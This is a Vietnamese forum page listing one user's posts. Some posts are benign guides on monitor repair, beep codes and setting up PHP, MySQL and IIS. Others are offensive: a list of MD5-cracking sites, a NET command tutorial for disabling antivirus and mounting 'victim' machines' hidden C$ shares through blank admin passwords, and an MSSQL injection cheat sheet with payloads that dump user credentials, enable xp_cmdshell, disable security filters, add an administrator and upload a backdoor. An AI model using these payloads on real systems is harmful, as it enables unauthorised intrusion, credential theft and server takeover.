banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Messages posted by: darthtuan  XML
Profile for darthtuan Messages posted by darthtuan [ number of posts not being displayed on this page: 0 ]
 
Còn nếu lệnh net ko chạy dc thì sao, máy chỗ gì đó tui lại chơi gõ net hoài nhưng cũng chẳng chạy dc lệnh nào, chẳng biết nó fix chỗ nào mà cấm dc như vậy nữa, có cách nào mở khóa ko?  

Gõ lệnh xong nó thông báo những gì?
I. Khái niệm:
Monitor là cái "tivi" để phía trước cái đầu CPU mà dân nông thôn hay gọi như vậy.

II. Phân loại- Theo cấu tạo: Loại phổ biến dùng đèn CRT (như tivi) hoặc loại tinh thể lõng (LCD) là loại cao cấp hơn dành cho người nhiều tiền hơn.
- Theo đời máy: củ hơn - đời củ, mới hơn - đời mới, hàng tàu (Sec - lọai xài rồi nhập về bán giá rẻ cho người ít tiền) hàng thùng (nhập khẩu mới - hoặc sản xuất láp ráp trog nước).

III. Các lỗi thường gặp của monitor:
Tùy lọai mà nó sẽ có những pan cơ bản riêng. Ở đây tôi sẽ phân tích pan của CRT trước vì nó thông dụng hơn.

1. Lỗi màu không đúng, vào xem phim thì rổ rổ như là không đúng, không đủ màu Đối với người có kinh nghiệm sử dụng máy tính thì dễ thấy đây là pan chưa nhận đúng driver Card màn hình. <-- Tôi chỉ nêu cho đủ vì các bạn mới có thể sẽ không biết.

2. Mất hẳng một màu, hoặc chỉ còn một màu:
- Do lõng cáp, cắm chắc lại là OK.
- Nhưng sau nhiều lần cắm vẫn bị, Có thể dây nối tính hiệu bị đứt ruột bên trong.
- Nếu thay dây khác mà vẫn bị. Bo màu bên trong bị hở mối hàn.
- Nếu chấm mạch các mối hàng vẫn còn bị. Các transitor công suất màu, IC giải mã màu ... nói chung là bo giải mã màu hay bo màu có vấn đề.
- Nếu đã kiểm tra Bo màu "tương đối" OK mà vẫn còn bị thì bạn nên nghĩ đến việc bóng đèn hình CRT bị chết tia. <--- Cái này là nặng nhất của pan này. Vì thay đèn hình như là mua một cái CRT khác vã lại bây giờ ít ai chịu thay vì nếu thay thì chất lượng có thể sẽ kém hơn mua một monitor hàng Sec cùng lọai với giá mua hơn giá thay bóng chút xíu thôi.

3. Hình bị giật giật, chóp chóp lúc có, lúc không, lúc mất màu lúc bình thường- Bị lõng dây <- xữ lý như trên.
- Nếu đã kiểm tra dây xong, vẫn bịùng tay gõ nhẹ (đập nhẹ thì đúng hơn) máy sẽ chóp, giựt nhiều hơn. Máy bị hở mạch toàn bộ. Tháo máy chấmmối hàng lại tính tiếp.

4. Máy nhòe chữ không đọc nỗi bật lên để chừng 15 phút mới rỏ lại bình thường Máy bị ẩm kilo - do để máy trong môi trường ẩm ước, máy lạnh mà ít dùng. Thay kilo

5. Máy mới bật thì rỏ nhưng vài ba phút sau thì nhòe đến không đọc nỗi
Bị "tuột bô", độ "bô" lại hoặc thay cả biến thế "Ply Back".

6. Có chổ thì rỏ, có chổ thì chữ bị nhòe
Hư "dốc" hoặc đã thay bóng, thay "dốc". Nếu mua máy củ mà gặp cái này thì Bye đừng đụng vào. Rất khó tìm được một cái "dốc" cho tương xứng với đèn hình CRT của mình.

7. Hơi tối, mờ nhưng chỉnh sáng lên thì màn hình cứ hoắc lên không rỏ lắm và nhìn nhức mắt Bóng yếu, tốt nhất là chạy thật xa khi gặp lọai này.
Làm gì khi máy tính "Không hình không tiếng"?


Bình thường thì: bật máy, đợi vài giây nghe tiếng Beep một cái màn hình hiện lên.Hôm nay sao nó cứ im re không kêu không beep, không hiện gì lên. Phải xử lý sao đây ???

Phản xạ đầu tiên của bất cứ ai là coi các đèn LED báo hiệu nguồn có sáng không, lắng nghe xem có tiếng quạt làm mát quay không? Để ý thật kỷ xem có tiếng beep phát ra từ trong máy không???

Có tiếng Beep!
Có nghĩa là "Tim còn đập" vậy là chưa đến nổi. Bạn có thể Search trên mạng thông tin về chuẩn đoán máy tính qua sự khác nhau của tiếng Beep lúc khởi động máy. Theo các nhà sản xuất khác nhau thì tiếng Beep cũng khác nhau. Đây là cách báo lỗi rất thông dụng trong tất cả các thiết bị điện tử, máy vi tính cũng vậy. Ở đây tôi chỉ có thể liệt kê một vài trường hợp thông dụng của đa số loại mainboard (~90%) hiện có trên thị trường.

Beep : Một tiếng dứt khoát, chắc chắn, màn hình hiện lên: Dấu hiệu bình thường như đã nêu ở trên. Nguồn tốt, bắt đầu để khởi động. Trong trường hợp tương tự mà màn hình không lên có vài lưu ý như sau: nút chỉnh sáng tối bị ai đó vô tình hay cố ý chỉnh xuống hết cở, màn hình bị lỗi về sáng tối. Nói chung trường hợp này thuộc về lỗi màn hình.

Beep.. bip.bip.bip Một dài, ba ngắnây nối tín hiệu từ màn hình qua thùng máy bị đứt, lõng hoặc không kết nối. Nếu đã kiểm tra từ màn hình qua đều OK hết thì lỗi còn lại là do Card màn hình bị lõng chân, hoặc tiêu. Có thể gỡ card màn hình vệ sinh chân cắm để thử lại.

Beep...Beep... Từng tiếng dài ngắt quãng rồi tiếp tục kêu, lạnh lùng đáng sợ. Nhưng cũng không có gì sợ cả. Đó là lỗi RAM. Lõng chân, hoặc tiêu. Bài củ, gỡ RAM vệ sinh chân cắm để thử lại.

bip. bip. bip Ngắn, nhanh, liên tục. Sự thách thức, sự giỡn mặt. Lỗi này thường xảy ra với máy bộ (IBM, Compaq, HP, HITACHI...) đa phần là tiêu. Vì máy bộ mà tiêu thì khó mà khắc phục. Nhưng đối với máy thường (linh kiện mainboard rời láp ráp lại) lỗi RAM, nguồn không đủ tải. Lỗi này ít xảy ra nhưng nếu có thì phải coi cả hai. Có trường hợp tương tự, màn hình vẫn hiện lên, một lúc sau rồi lại tắt rồi tự mở lại như ai đó đùa giỡn với nút Reset.RAM bị lỗi hoặc nguồn không ổn định.

Còn nếu như "Không có tiếng Beep"
Mở nắp thùng máy ra bứt hết các giắc cắm nguồn ra (kể cả mainboard, CD, HDD, FDD, FAN... tất cả) tiến hành kiểm tra xem bộ nguồn còn sống không.
Rất nhiều trường hợp bạn thử nguồn OK cắm vào lại máy chạy bình thường. Không rõ nguyên do nhưng hiện tượng này thường xảy ra khi bạn bị cúp điện khi có lại sẽ bị như vừa nêu. Và chỉ xảy ra với một số máy nguồn yếu
Dĩ nhiên nếu nguồn không OK thì xử bộ nguồn xong rồi tính tiếp
Vậy là nguồn OK tiếp:

Cắm giắc nguồn vào Mainboard (chỉ cắm main thôi nha các thứ khác khoang) Bấm Power, nếu main không chạy, không nghe beep tít gì cả thì 99% main bị die. Vì nếu RAM lỗi nó sẽ la làng thuộc về phần trên chỉ còn lại Main & CPU thằng nào die mình cũng tiêu. Chỉ còn cách "Sử dụng card TEST main" xem bài viết đi nhưng tốt nhất hãy nghĩ đến chuyện mang đi bảo hành hoặc nhờ giúp đỡ.

Cắm giắc nguồn vào bất công tác, tít... hình hiện lên TEST RAM... mừng quá. Còn sống, bây giờ thì kiểm tra từng thằng còn lại. Tắt máy, cắm thử nguồn thêm 1 món nữa - Ổ cứng đi - bật máy... làm từ từ như vậy đến khi phát hiện ra một linh kiện nào bị die mà làm ảnh hưởng đến toàn PC.

Vì thông thường các thiết bị, linh kiện điện tử nếu chạm mạch sẽ làm tê liệt toàn hệ thống. Bạn thử làm chạm mạch cái bàn ủi hay nồi cơm điện gì đó rồi cắm vào điện lưới thử xem. Bụp toàn bộ nhà bạn sẽ tối thui đến khi nào bạn rút cái vật chết tiệt khi nãy và bật CP lên (hoặc thay cầu chì) hì nhà mình lại sáng lên.

Cái mình sợ nhất là bộ 3 Main + CPU + RAM trong đó main dễ die nhất (trong trường hợp của bài viết này - máy không hình không tiếng).

Cái thường thấy nhất: hư nguồn, chết các quạt làm mát, chết mainboard (do nguồn hư dẫn đến hư main) còn các quạt làm mát thì khô dầu đứng yên --> cháy chạm , nếu không chạm thì quạt ngừng chạy lắm lúc sẽ làm cháy CPU (nhưng chỉ xảy ra với CPU hàng Tray thôi vì CPU hàng Box thì sẽ đứng máy chứ không die).
LQV77
Có lẽ diễn đàn mới đưa vào hoạt động nên chưa hoàn chỉnh về số box.Bạn có thể đợi một vài ngày nữa
Và để chuyển FAT thành NTFS file system thì có thể làm như sau:
In Windows XP, click Start, click Run, type cmd and then click OK.

Đánh dòng lệnh CONVERT [driveletter]: /FS:NTFS.


Hướng dẫn cài đặt PHP , MYQSL ,phpmyadmin trên IIS của winxp
1.Cài đặt IIS (Internet Information Services) chắc nhiều bạn trong chúng ta đã từng dùng qua personal webserver (1 phần mềm giả lập server rất nổi tiếng trên win98) nhưng đây cũng chỉ là giả lập ,với việc cài đặt IIS các bạn sẽ tiếp cận với server thật sự-điều này rất là đắc dụng cho webdesigner ,các tài nguyên dùng chung trong mạng LAN với độ bảo mật cao (theo lời giới thiệu của Microsoft- thực chất thì ).... mà thôi các bạn tự tìm hiểu thêm vậy , hãy quay về vấn đề cài đặt của chúng ta :

-Về cài đặt IIS cũng giống như việc cài trên WinNT và 2000 , các bạn bỏ đĩa cd cài đặt winxp vào ổ cứng , vào control panel ,chọn add or remove programs tại đây chọn thẻ add or remove windows components , đánh dấu chọn vào internet information services (IIS) và click next , ngồi chờ cho đến khi kết thúc .

-Okie bây giờ hãy mở IE và nhập vào address bar địa chỉ : http://localhost , nếu xuất hiện trang chào mừng của IIS thì bạn đã cài đặt thành công rồi đó .

*Chú ý :
-Trước khi cài đặt bạn cần cài đặt Windows TCP/IP protocol và Connectivity Utilities (mặc định đã có)

-DNS (domains name system) đã được cài đặt trong màng instranet , nếu như instranet là 1 mạng nhỏ bạn có thể sử dụng file host hoặc LMhost trên tất cả các các máy tính trong mạng . Trên internet kiểu của site sử dụng là dns , cái này được cung cấp khi bạn register 1 domain . Lấy ví dụ IP của server của tôi trên internet là x.x.x.x , domain của studenthack.com có các DNS là ns1.studenthack.com ,ns2.studenthack.com tôi sẽ khai báo dns này chỉ tới ip của server và khi 1 người truy cập vào internet muốn gọi website của tui chỉ cần gõ vào studenthack.com tại address là có thể truy cập vào site cũa tôi (thực tế thì còn nhiều vấn đề , đây chỉ là ví dụ đơn giản)

- Nếu như bạn nâng cấp từ win2000 or NT đã cài đặt IIS thì không cần phải cài đặt lại IIS .

-Nếu như bạn đã cài đặt các lọai server khác như website server, apachi....thì localhost của bạn sẽ là localhost của các server đó (lí do là khi khởi động , winxp sẽ chạy IIS trước sau đó mới chạy các server mà bạn đã cài đặt và đương nhiên các server chạy sau sẽ che mất cái IIS của bạn) ,hãy unsintall các phần mềm này đi.

-Sau khi cài đặt root (default) của của hompages sẽ đặt tại c:\inetpub\wwwroot (ờ đây ví dụ winxp của bạn được cài trên ổ Csmilie.

2. Cài đặt php .
Download tại http://www.php.net/downloads.php hoặc mua CD ở 1 số cửa hàng tin học.

Bước 1: Sau khi download PHP unzip vào ổ cứng, bạn double click lên file .exe vừa unzip, một hộp thoại sẽ hiện ra Bạn click vào nút Next, rồi nhấn I Agree để sang bước 2.

Bước 2: Bạn chọn phần Advanced và nhấn Next để sang bước tiếp theo.

Bước 3: Bạn chọn thư mục để cài PHP, File upload và Session data, mặc định lần lượt sẽ là C:\PHP, C:\PHP\uploadtemp và C:\PHP\sessiondata.

Bước 4: Bạn điền địa chỉ SMTP và email của admin. Nếu chạy trên máy local bạn đặt là localhost và admin@localhost. Nhấn Next để sang bước tiếp theo.

Bước 5: Bạn chọn phần đầu tiên: Display all errors warnings and notices và nhấn Next để sang bước tiếp theo

Bước 6: Bạn chọn kiểu web server thích hợp (ở đây là IIS version4 or higher) và nhấn Next, rồi lại Next một lần nữa để bắt đầu cài đặt.

Bước 7: Bạn chỉ có việc ngồi chờ trong khi chương trình cài đặt copy các file lên đĩa cứng của bạn

Okie xong rùi đó .

Bạn tạo 1 file hello.php trong thư mục c:\inetpub\wwwroot với nội dung như sau:
<?
echo "Hello, world!";
?>

và mở IE tại address gõ vào http://localhost/hello.php nếu hiện ra chữ hello word ! thì bạn đã thành công còn nếu tòan mã thì hii không ổn rùi

3. Cài đặt mýql
Download tại đây http://www.mysql.com

Bước 1: Sau khi download mySQL, unzip các file vài một thư mục nào đó và chạy file setup.exe để bắt đầu cài đặt . Bạn nhấn Next hai lần để sang bước 2

Bước 2: Bạn chọn thư mục để cài đặt mySQL, mặc định là C:\mysql. Nhấn Next để sang bước tiếp theo.

Bước 3: Bạn chọn phần Custom và nhấn Next để sang bước tiếp theo.

Bước 4: Bạn nhấn Next để sang bước tiếp theo, và tiếp tục nhấn Next để bắt đầu cài đặt mySQL.

Bước 5: Sau khi mySQL đã cài đặt xong, bạn hãy chạy file winmysqladmin.exe trong thư mục C:\mysql\bin. Nếu là lần đầu tiên bạn chạy file này sau khi cài đặt, một hộp thoại sẽ hiện lên hỏi username và password của của người quản lý mySQL. Bạn nhập vào username và mật mã tuỳ bạn chọn (tôi chọn username là root và mật mã là password).

Sau bước này, một icon hình đèn giao thông sẽ xuất hiện trên system tray của bạn. Nếu đèn hiệu đang ở màu xanh thì xem như mọi chuyện đã êm đẹp còn màu đỏ thì huhuhuhuh .

4. Cài đặt phpmyadmin
Download :http://prdownloads.sourceforge.net/

Sau khi download, bạn unzip các file vào thư mục c:\inetpub\wwwroot\phpmyadmin. Sau đó bạn mở file config.inc.php, tìm sửa các dòng sau.

tìm dòng bắt đầu bằng $cfg['Servers'][$i]['host'], sửa thành $cfg['Servers'][$i]['host'] = 'localhost'; (connect vào localhost)

tìm dòng bắt đầu bằng $cfg['Servers'][$i]['user'], sửa lại thành $cfg['Servers'][$i]['user'] = 'root'; (root là username mà bạn đã tạo ở trên)

tìm dòng bắt đầu bằng $cfg['Servers'][$i]['password'], sửa lại thành $cfg['Servers'][$i]['password'] = 'password'; (password là mật mã bạn đã tạo ở trên)

Lưu lại file config.inc.php, mở IE và truy cập vào địa chỉ http://localhost/phpmyadmin/index.php. Nếu bạn nhận được màn hình chào đón của phpMyAdmin thì XIN CHÚC MỪNG! Bạn đã thành công!
Nếu bạn là nguời sử dụng Windows 2000 thì IIS là giải pháp tốt nhất về mọi mặt như: tính tương thích, độ bảo mật, dễ dàng quản lý, update, backup…

IIS (Internet information Service) webserver:

1 Hiểu thêm về IIS webserver:
- IIS ( internet information service) là chương trình webserver có sẳn trong windows 2000 server, nó có đầy đủ các tính năng mà một webserver chuẩn đòi hỏi.
- Giao diện theo dạng Console rất thân thiện trong việc sử dụng, cấu hình và sửa chữa.

- IIS quản lý các giao thức: Web HTTP service, FTP(file transfer Protocol) service, messaging service NNTP ( network new transfer protocol) SMTP (simple mail transfer protocol)…

- Với phương thức bảo mật SSL (secure sockets layer) kết hợp với CA service (Certificated Authority) sữ dụng giao thức HTTPs, IIS đưa ta một cách bảo mật hoàn thiện hệ thống thông tin giao dịch trên web một cách hiệu quả.

2 Cài đặt và cấu hình:

2.1 Cài đặt:

+ Thông thường theo mặc định trong windows 2000 IIS đã được dựng sẳn phần Webserver và SMTP virtual Server.
+ Ta có thể uninstall hoặc install IIS theo các bước sau: Bấm vào nút Start, chọn Setting, chọn Control Panel, chọn Add/Remove Programs, chọn Add/Remove Windows Components, trong windows Components Wizard chọn Internet Information Service (IIS)

chọn Detail. Tại đây ta có thể chọn những tuỳ chọn thêm như FTP.

2.2 Cấu hình:

+ Vào Start, chọn Program, chọn Administrative Tools, chọn Internet service Manager.

Console Management của IIS:

+ Tạo 1 website mới: Nhấp chuột phải vào tên server chọn New/ Website, IIS se~ bật quy trình config tự động.

Click Next, Description đánh một tên bất kì (đặt tên theo tên trang web.VD: HVA)

Click Next : Enter the IP to use for this website: chọn IP tại máy cài IIS, TCP Port Website should use: port của website = 80 (default). Host header for this site: đánh tên trang web vào( VD www.domain.com )

Click Next, nhấn nút browse chọn thư mục chứa website.Để mặc định allow anonymous access for this website.

Click Next, lựa chọn quyền hợp lý cho User truy cập.Dưới đây là quyền đề
nghị

Click Next và Finish để kết thúc Wizard.

Khi đó trong console của IIS sẽ xuất hiện 1 website .

Đến đây ta bắt đầu cấu hình IIS

Nhấn chuột phải vào tại website mới tạo.Chọn Property.

Ta có thể sửa thông số của website lại theo ý mình tại đây (nhưng không nên sửa nếu chưa hiểu rõ về các thông số)

Những mục cần lưu ý:

• Website : nơi chỉnh lại những thông số của website như IP, Port, HostHeader Name…

• Home Directory : Nơi chỉnh lại đường dẫn tới thư mục chứa trang web.

• Perfomance : là nơi cấu hình để cân bằng băng thông, giúp website và mạng hoạt động hài hoà, hiệu suất.

• Custom Errors : Có thể chỉnh lại những thông báo lỗi của IE.

• Directory Security : Nơi cấu hình về bảo mật, mã hoá (không nên chỉnh sữa)

• Documents : Là định dạng các trang web khởi động website:
Cung cấp cho anh em một số site crack MD5
--------------------------------------------------------------------------------

http://milw0rm.com/cracker/insert.php
http://gdataonline.com/seekhash.php
http://www.rainbowcrack-online.com/
http://md5lookup.com/
http://www.plain-text.info/index/
http://www.xmd5.org/index_en.htm
http://nz.md5.crysm.net/
http://md5.rednoize.com/
http://passcrack.spb.ru/index.php?name=CrackMD5
http://ice.breaker.free.fr
http://shm.hard-core.pl/md5/
http://www.hashchecker.com
http://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/
http://md5.benramsey.com
http://md5.altervista.org
http://md5.xpzone.de/
http://www.thepanicroom.org/index.php?view=cracker 


NET là lệnh nội trú của Windows 2000, XP nên anh em không cần phải đi tìm nó ở đâu hết, cứ gõ là chạy. Chức năng của lệnh này được phân ra theo một số nhóm sau:

1. Managing Services: Quản lý dịch vụ
NET - START, STOP, PAUSE, CONTINUE

2. Managing File Shares and Printer Shares: Kiểm sóat, chia xẻ tài nguyên
NET - SHARE, VIEW, USE, FILE, SESSIONS

3. Managing Network Print jobs and Network Time: Kiểm sóat tác vụ in ấn và thời gian vào mạng
NET - TIME, PRINT

4. Managing Security: Kiểm sóat bảo mật hệ thống
NET - ACCOUNTS, USER, GROUP, LOCALGROUP

5. Network Messaging: Giao dịch nhắn tin trong mạng
NET - NAME, SEND

6. Managing Network configuration: Quản lý cấu hình của mạng
NET - COMPUTER, CONFIG_WORKSTATION, CONFIG_SERVER, STATISTICS_WORKSTATION, STATISTICS_SERVER

Bây giờ tôi xin đi vắn tắt một số lệnh của NET theo từng nhóm.

1. Managing service:

Cú pháp của lệnh như sau:

NET START [service]
NET STOP [service]
NET PAUSE [service]
NET CONTINUE [service]

Trong đó [service] chính là từ khóa hiển thị trong phần service của Control Panel

Bốn lệnh START, STOP, PAUSE và CONTINUE tương ứng với KHỞI ĐỘNG, DỪNG, TẠM NGỪNG, TIẾP TỤC cái service mà

anh em sẽ chỉ định cho nó thực thi. Để biết tên của các service đang chạy, anh em gõ vào dòng lệnh:

NET START

Lệnh này liệt kê tên đầy đủ của các service đang chạy. Muốn dừng chúng thì phải gõ NET STOP [service] với tên service viết gọn giống như trong Control Panel. Ví dụ anh em đang dùng Norton Antivirus, rủi có chép một trình nào đó như Brutus chẳng hạn thì nó cứ nhảy ra và la lên là cái file đó có trojan bên trong. Thế là nó không cho anh em chép vào máy của mình. Bây giờ gõ lệnh sau:

NET STOP navapsvc

Màn hình sẽ hiện ra

The Norton AntiVirus Auto Protect Service service is stopping.
The Norton AntiVirus Auto Protect Service service was stopped successfully.

Bây giờ anh em ngó xuống cái icon của NAV phía dưới System Tray thì thấy nó bị gạch chéo (disabled) rồi. Đó là do mình tắt bằng NET STOP.

2. Managing File Shares and Printer Shares: Kiểm sóat, chia xẻ tài nguyên
Lệnh NET này đi kèm một số tham số sau: SHARE, VIEW, USE, FILE, SESSIONS

SHARE - hiển thị những chia xẻ trên máy, ví dụ

Share name Resource Remark

-----------------------------------------------------------
IPC$ Remote IPC
D$ D:\ Default share
F$ F:\ Default share
ADMIN$ E:\WINDOWS Remote Admin
C$ C:\ Default share
E$ E:\ Default share
The command completed successfully.

Các share có dấu $ là chia xẻ tài nguyên ở mức hệ thống cho admin, thường gọi là share ẩn.

VIEW - hiển thị tất cả các máy trong cùng domain hoặc workgroup

Server Name Remark

-----------------------------------------

\\CPQ25981604619 DTLong
\\DEFAULT-EBGQAMU
\\FERRARI Formula 1
\\JITH
\\JOE-VT6094JJ9
\\KACE
\\KENGCOM KengCOM
\\LOTUS
The command completed successfully.

Bây giờ ta bàn cách chiến đấu một số máy để tìm tài nguyên. Lệnh Net View cho phép xem tài nguyên chia xẻ của các máy cùng subnet. Cú pháp câu lệnh như sau:

NET VIEW [tên máy]

Ví dụ: NET VIEW \\KACE

Nếu máy này có chia xẻ tài nguyên, màn hình sẽ hiện ra tên của các share directory, lúc này ta chỉ việc phát lệnh sử dụng tài nguyên đó mà thôi.

Để chiếm dụng tài nguyên chia xẻ, anh em có thể dùng My Network Places / Network Neighborhood để truy nhập vào, ở đây ta dùng lệnh NET USE thay cho việc dùng My Network Places

NET USE * \\tên máy\tên share
hoặc
NET USE xxx.xxx.xxx.xxx

Trong đó tên máy là tên hiện ra qua lệnh NET VIEW. Trường hợp sử dụng IP của máy trong NET USE, anh em phải gõ IP vào.

Để biết IP của máy nạn nhân, có thể PING vào tên của máy. Ví dụ

PING LOTUS
Pinging lotus [202.129.41.106] with 32 bytes of data:

Reply from 202.129.41.106: bytes=32 time<1ms TTL=128
Reply from 202.129.41.106: bytes=32 time<1ms TTL=128
Reply from 202.129.41.106: bytes=32 time<1ms TTL=128
Reply from 202.129.41.106: bytes=32 time<1ms TTL=128

Ping statistics for 202.129.41.106:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms

Như vậy, máy LOTUS có địa chỉ IP là 202.129.41.106

Trong lệnh NET USE, dấu * có nghĩa là lấy tên một ổ đĩa bất kỳ (từ A-Z) rồi ánh xạ share đó vào ổ đĩa tùy chọn ấy. Nếu trên LOTUS có share một thư mục là SharedDocs thì lúc này lệnh NET USE dùng như sau:

NET USE * \\LOTUS\SharedDocs

hoặc

NET USE * \\202.129.41.106\SharedDocs

Sau khi thành công, SharedDocs biến thành ổ đĩa Z (chẳng hạn) trên máy của anh em.

Có thể chiếm dụng sâu hơn vào trong tài nguyên ẩn của máy. Lệnh gõ như sau:

NET USE * \\202.129.41.106\C$

Nếu lệnh này thành công, ổ C của máy nạn nhân sẽ "bay" về máy anh em như một ổ đĩa của mình vậy. Dùng như trên máy mình và cũng có thể xóa lung tung như nó là của mình vậy. Tương tự, phỏng đoán máy nạn nhân có thể có vài ổ đĩa như D, E, F, anh em có thể thử lệnh trên với D$, E$, F$, G$ tới khi nào nó báo lỗi thì tức là ổ đĩa đó không có trên máy của nạn nhân.

Thường thì các share ẩn này share cho account admin nên khi mình gõ lệnh đó nó sẽ hỏi Username và Password. Nếu đoán được Username (ví dụ: LOTUS) thì gõ vào rồi cũng đóan luôn mật khẩu nhé (hơi khó đấy), bằng không thì anh em nhập Administrator vào cho Username, còn để password là rỗng (sau khi nhập Username thì gõ ENTER tiếp cho phần mật khẩu). Nếu may mắn tiếp thì có thể thóat qua được. Trường hợp này là do admin máy đó sơ sẩy không đổi password mặc định của Windows sau khi cài hệ điều hành. Và như vậy anh em có thể ung dung chiếm tài nguyên của nạn nhân rồi. Anh em sẽ đi du lịch trong máy nạn nhân, chép bất cứ cái gì anh em thích như là đang trên máy mình vậy. Tuy nhiên cơ hội thành công là rất thấp. Vì thế, lệnh NET USE này thường chỉ phát huy tác dụng cao với các máy có share tài nguyên cho mọi người (ví dụ như SharedDocs).

Lưu ý, có một mẹo nhỏ. Nếu anh em chiếm được quyền admin với account Administrator và password rỗng rồi thì anh em có thể dùng con Hyena tạo ra một account cho mình trên máy nạn nhân, đề phòng trong tương lai chúng cài service pack thì NET USE hết đường làm ăn. Lúc đó có con account kia rồi dễ bề tung hoành hơn.

Mấy lệnh trên là những lệnh chính thường dùng. Các lệnh còn lại xin anh em tham khảo thêm trên mạng nhé. Chúng đơn giản nói ra sợ anh em mất thời gian đọc.

Đoạn cuối của phần này xin được giới thiệu cùng anh em các câu lệnh về máy in và kiểm sóat thời gian.

3. Managing Network Print jobs and Network Time:
TIME, PRINT

Lệnh NET TIME cho biết thời gian của đồng hồ trên máy mạng. Câu lệnh là:

NET TIME \\tên máy

Ví dụ: NET TIME \\LOTUS

Lệnh này có nhiều biến thể khác, anh em chịu khó tham khảo. Tôi giới thiệu thêm về lệnh đồng bộ hóa đồng hồ máy mình với máy chủ trên mạng, cú pháp như sau:

NET TIME \\servername /SET /YES

Trong đó servername là tên của máy chủ

Lệnh NET PRINT có cú pháp như sau: NET PRINT \\ComputerName\ShareName

Hiển thị tác vụ hiện thời trên máy in, giống như việc xem xét thông qua Printer Manager xem có những tài liệu nào đang được máy in đó in ra.

ComputerName là tên máy chủ có share máy in
ShareName là tên share của máy in đó.

Để tạm ngưng (PAUSE) một lệnh in, có thể dùng lệnh sau

NET PRINT [\\ComputerName] job# /HOLD

ComputerName là tên máy có share printer còn job# tương đương số thứ tự của tài liệu in trên danh sách các tài liệu đang được in (1,2,3,4...)

Để tiếp tục in sau khi lệnh HOLD được thi hành, gõ vào lệnh

NET PRINT [\\ComputerName] job# /RELEASE

Để xóa, delete một lệnh in, ví dụ trong trường hợp in nhầm một văn bản lớn, anh em có thể gõ lệnh

NET PRINT [\\ComputerName] job# /DELETE
A. Khai thac thong tin ve SQL server

1. Khai thac thong tin ve MS SQL server
' Thông tin về version của MS SQL
and 1=@@version--sp_password
'Thông tin về servername
and 1=@@servername--sp_password
'Thông tin về SERVICENAME
and 1=@@SERVICENAME--sp_password
'Thông tin về UID
and 1=system_user--sp_password
'Thông tin về PWD
?

2. Khai thac thong tin ve Database
'Thông tin về tên database
and 1=db_name()--sp_password

3. Khai thac thong tin ve Table
'Khai thác thông tin về Table
having 1=1--sp_password
'Khai thác thông tin về các Table
group by QUESTIONS.QUEST_ID having 1=1--sp_password

'Khai thác thông tin về Table
UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES--sp_password
'Khai thác thông tin về các Table
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE
TABLE_NAME NOT IN ('PRODUCTS')--sp_password

'Khai thác thông tin về Table
and 38=convert(int,(select top 1 table_name from
information_schema.tables))--sp_password
'Khai thác thông tin về các Table
and 38=convert(int,(select top 1 table_name from
information_schema.tables
where table_name not in ('PRODUCTS')))--sp_password

4. Khai thac thong tin ve Column
'Khai thác thông tin về Column
and 38=convert(int,(select top 1 column_name from
information_schema.columns where
table_name=('QUESTIONS')))--sp_password
'Khai thác thông tin về các Column
and 38=convert(int,(select top 1 column_name from
information_schema.columns where table_name=('QUESTIONS') and
column_name
not in ('QUEST_ID')))--sp_password

5. Khai thac thong tin ve Content
'Khai thác thông tin với kiểu ngày giờ
and 1=convert(char(20),(select top 1 NgayXuat from
PhieuXuat))--sp_password
'Khai thác thông tin dòng tiếp theo với kiểu ngày giờ
and 1=convert(char(20),(select top 1 NgayXuat from PhieuXuat where
NgayXuat<>'Mar 12 2003 12:00AM '))--sp_password
'Khai thác thông tin về dòng đầu tiên
and 1=convert(int,(select top 1 userName+'/'+userPass from
Users))--sp_password
'Khai thác thông tin dòng tiếp theo
and 1=convert(int,(select top 1 userName+'/'+userPass from Users where
userName not in('admin')))--sp_password

6. Khai thac thong tin ve Table, Column, Content cua cac database tiep

Chú ý:
để nhận biết kiểu của cột
dữ liệu ta dùng "image" để kiểm tra:
-Nếu là trường kiểu ngày/giờ
Dùng: char,nchar,nvarchar,varchar


B. Upload backdoor lên host
1. Xác định mức quyền và cho phép thực thilệnh của MS SQL server
'Xác định mức quyền
;select * from openrowset('sqloledb','';;,'')--
'Thay đổi mức quyền
;exec master..xp_regwrite
HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB','AllowInProcess',REG_DWORD,1--
;exec master..xp_regwrite
HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB','DisallowAdhocAccess',REG_DWORD,0--
'Xoá bỏ và khôi phục Log và firewall trong MS SQL
;exec master..xp_regdeletevalue
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters'--
;exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters',REG_DWORD,0--
'Cho phép sử dụng MASTER..XP_CMDSHELL & ALLOW UPDATES
;select * from openrowset('sqloledb',
'server=Digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off
select
1 exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec
sp_configure
''allow updates'', ''1'' reconfigure with override')--

2. Do thám đưa thêm các thông tin
'Do tham IP của server và đưa vào bảng testip
;drop table testip create table testip(stt int identity,dcip
varchar(1000)) insert into testip exec master..xp_cmdshell 'ipconfig'--
'Cộng thêm một quyền quản trị mới
;select * from openrowset('sqloledb',
'server=digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off
select
1 exec xp_cmdshell "net user a /add %26 net localgroup administrators a
/add"')-- (%26 == "&")

3. Đưa backdoor lên server'Upload backdoor lên server vào thư mục C:\WINDOWS\system32
;select * from openrowset('sqloledb',
'server=digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off
select
1 exec master..xp_cmdshell "chube >>runfile.txt"')--
;select * from openrowset('sqloledb',
'server=digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off
select
1 exec master..xp_cmdshell "chube >>runfile.txt & hamhoc
>>runfile.txt"')--
'Kiểm tra xem backdoor đã upload thành công chưa
